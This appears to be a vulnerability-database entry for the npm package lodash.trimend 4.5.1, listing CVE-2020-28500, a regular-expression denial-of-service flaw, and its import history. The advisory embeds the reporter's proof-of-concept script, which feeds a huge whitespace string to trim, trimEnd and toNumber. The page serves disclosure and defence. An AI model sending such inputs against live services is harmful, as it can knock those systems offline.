Search for packages
| purl | pkg:npm/lodash.trimend@4.5.1 |
| Next non-vulnerable version | None. |
| Latest non-vulnerable version | None. |
| Risk | 3.1 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-e3y9-r7uz-pkfg
Aliases: CVE-2020-28500 GHSA-29mw-wpgm-hmr9 |
Regular Expression Denial of Service (ReDoS) in lodash All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ``` | There are no reported fixed by versions. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||
| Date | Actor | Action | Vulnerability | Source | VulnerableCode Version |
|---|---|---|---|---|---|
| 2026-04-16T21:37:04.604088+00:00 | GitLab Importer | Affected by | VCID-e3y9-r7uz-pkfg | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/lodash.trimend/CVE-2020-28500.yml | 38.4.0 |
| 2026-04-11T22:51:01.453795+00:00 | GitLab Importer | Affected by | VCID-e3y9-r7uz-pkfg | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/lodash.trimend/CVE-2020-28500.yml | 38.3.0 |
| 2026-04-02T23:00:26.443333+00:00 | GitLab Importer | Affected by | VCID-e3y9-r7uz-pkfg | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/lodash.trimend/CVE-2020-28500.yml | 38.1.0 |
| 2026-04-01T15:59:13.937476+00:00 | GHSA Importer | Affected by | VCID-e3y9-r7uz-pkfg | https://github.com/advisories/GHSA-29mw-wpgm-hmr9 | 38.0.0 |
| 2026-04-01T12:49:14.356304+00:00 | GitLab Importer | Affected by | VCID-e3y9-r7uz-pkfg | https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/lodash.trimend/CVE-2020-28500.yml | 38.0.0 |